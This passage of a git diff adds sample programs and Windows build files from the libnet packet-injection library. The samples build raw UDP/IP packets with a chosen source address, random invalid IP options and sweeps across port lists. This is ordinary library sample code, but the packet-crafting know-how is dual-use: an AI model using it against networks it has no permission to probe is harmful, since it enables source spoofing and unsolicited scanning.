+ for (build_ip = 0, i = 0; i < 10; i++)
+ {
+ udp = libnet_build_udp(
+ src_prt, /* source port */
+ dst_prt + i, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet length */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (1)
+ {
+ build_ip = 0;
+ /* this is not a legal options string */
+ for (j = 0; j < 20; j++)
+ {
+ opt[j] = libnet_get_prand(LIBNET_PR2);
+ }
+ ipo = libnet_build_ipv4_options(
+ opt,
+ 20,
+ l,
+ ipo);
+ if (ipo == -1)
+ {
+ fprintf(stderr, "Can't build IP options: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + 20 + payload_s + LIBNET_UDP_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip,
+ dst_ip,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ fprintf(stderr, "%d byte packet, ready to go\n",
+ libnet_getpacket_size(l));
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte UDP packet; check the wire.\n", c);
+ }
+ }
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+/* EOF */
diff --git a/libnet/sample/udp2.c b/libnet/sample/udp2.c
new file mode 100644
index 0000000..706a62b
--- /dev/null
+++ b/libnet/sample/udp2.c
@@ -0,0 +1,232 @@
+/*
+ * $Id: udp2.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a UDP packet using port list chains
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char **argv)
+{
+ int c, build_ip;
+ struct timeval r;
+ struct timeval s;
+ struct timeval e;
+ libnet_t *l;
+ libnet_ptag_t udp;
+ char *payload;
+ libnet_ptag_t t;
+ struct libnet_stats ls;
+ u_int16_t payload_s;
+ u_int32_t src_ip, dst_ip;
+ u_int16_t bport, eport, cport;
+ libnet_plist_t plist, *plist_p;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1.2 packet shaping: UDP2[link]\n");
+
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ payload = NULL;
+ payload_s = 0;
+ plist_p = NULL;
+ while ((c = getopt(argc, argv, "d:s:p:P:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'P':
+ plist_p = &plist;
+ if (libnet_plist_chain_new(l, &plist_p, optarg) == -1)
+ {
+ fprintf(stderr, "Bad token in port list: %s\n",
+ libnet_geterror(l));
+ exit(1);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip || !plist_p)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ udp = 0;
+#if !(__WIN32__)
+ gettimeofday(&s, NULL);
+#else
+ /* This obviously is not as good - but it compiles now. */
+ s.tv_sec = time(NULL);
+ s.tv_usec = 0;
+#endif
+
+ build_ip = 1;
+ while (libnet_plist_chain_next_pair(plist_p, &bport, &eport))
+ {
+ while (!(bport > eport) && bport != 0)
+ {
+ cport = bport++;
+ udp = libnet_build_udp(
+ 1025, /* source port */
+ cport, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet size */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header (at port %d): %s\n",
+ cport, libnet_geterror(l));
+ goto bad;
+ }
+ if (build_ip)
+ {
+ build_ip = 0;
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet dest */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "write error: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "wrote %d byte UDP packet to port %d\r", c,
+ cport);
+ }
+ }
+ fprintf(stderr, "\n");
+ }
+
+#if !(__WIN32__)
+ gettimeofday(&e, NULL);
+#else
+ /* This obviously is not as good - but it compiles now. */
+ s.tv_sec = time(NULL);
+ s.tv_usec = 0;
+#endif
+
+ libnet_timersub(&e, &s, &r);
+ fprintf(stderr, "Total time spent in loop: %d.%d\n", r.tv_sec, r.tv_usec);
+
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s s_ip -d d_ip -P port list [-p payload]\n", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/win32/CVS/Entries b/libnet/sample/win32/CVS/Entries
new file mode 100644
index 0000000..98702e5
--- /dev/null
+++ b/libnet/sample/win32/CVS/Entries
@@ -0,0 +1,9 @@
+/getopt.c/1.1/Mon Jun 30 20:38:44 2003//
+D/arp////
+D/cdp////
+D/dhcp_discover////
+D/dns////
+D/get_addr////
+D/icmp_echo_cq////
+D/tcp1////
+D/udp1////
diff --git a/libnet/sample/win32/CVS/Repository b/libnet/sample/win32/CVS/Repository
new file mode 100644
index 0000000..75f9ae6
--- /dev/null
+++ b/libnet/sample/win32/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32
diff --git a/libnet/sample/win32/CVS/Root b/libnet/sample/win32/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/arp/CVS/Entries b/libnet/sample/win32/arp/CVS/Entries
new file mode 100644
index 0000000..e8eb30c
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Entries
@@ -0,0 +1,2 @@
+/arp.vcproj/1.2/Fri Oct 17 00:20:53 2003//
+D
diff --git a/libnet/sample/win32/arp/CVS/Repository b/libnet/sample/win32/arp/CVS/Repository
new file mode 100644
index 0000000..7d37161
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/arp
diff --git a/libnet/sample/win32/arp/CVS/Root b/libnet/sample/win32/arp/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/arp/arp.vcproj b/libnet/sample/win32/arp/arp.vcproj
new file mode 100644
index 0000000..c247a4b
--- /dev/null
+++ b/libnet/sample/win32/arp/arp.vcproj
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="arp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;WPCAP"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\arp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/cdp/CVS/Entries b/libnet/sample/win32/cdp/CVS/Entries
new file mode 100644
index 0000000..2541048
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Entries
@@ -0,0 +1,2 @@
+/cdp.vcproj/1.4/Thu Nov 27 20:30:49 2003//
+D
diff --git a/libnet/sample/win32/cdp/CVS/Repository b/libnet/sample/win32/cdp/CVS/Repository
new file mode 100644
index 0000000..219f5d2
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/cdp
diff --git a/libnet/sample/win32/cdp/CVS/Root b/libnet/sample/win32/cdp/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/cdp/cdp.vcproj b/libnet/sample/win32/cdp/cdp.vcproj
new file mode 100644
index 0000000..a1be0b0
--- /dev/null
+++ b/libnet/sample/win32/cdp/cdp.vcproj
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="cdp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\cdp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Entries b/libnet/sample/win32/dhcp_discover/CVS/Entries
new file mode 100644
index 0000000..fa17926
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Entries
@@ -0,0 +1,2 @@
+/dhcp_discover.vcproj/1.3/Thu Nov 27 20:28:17 2003//
+D
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Repository b/libnet/sample/win32/dhcp_discover/CVS/Repository
new file mode 100644
index 0000000..9c64da1
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/dhcp_discover
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Root b/libnet/sample/win32/dhcp_discover/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj
new file mode 100644
index 0000000..f66fe8a
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dhcp_discover"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dhcp_discover.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dns/CVS/Entries b/libnet/sample/win32/dns/CVS/Entries
new file mode 100644
index 0000000..51340e0
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Entries
@@ -0,0 +1,2 @@
+/dns.vcproj/1.1/Fri Oct 17 00:25:54 2003//
+D
diff --git a/libnet/sample/win32/dns/CVS/Repository b/libnet/sample/win32/dns/CVS/Repository
new file mode 100644
index 0000000..6459a55
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/dns
diff --git a/libnet/sample/win32/dns/CVS/Root b/libnet/sample/win32/dns/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/dns/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/dns/dns.vcproj b/libnet/sample/win32/dns/dns.vcproj
new file mode 100644
index 0000000..c72a307
--- /dev/null
+++ b/libnet/sample/win32/dns/dns.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
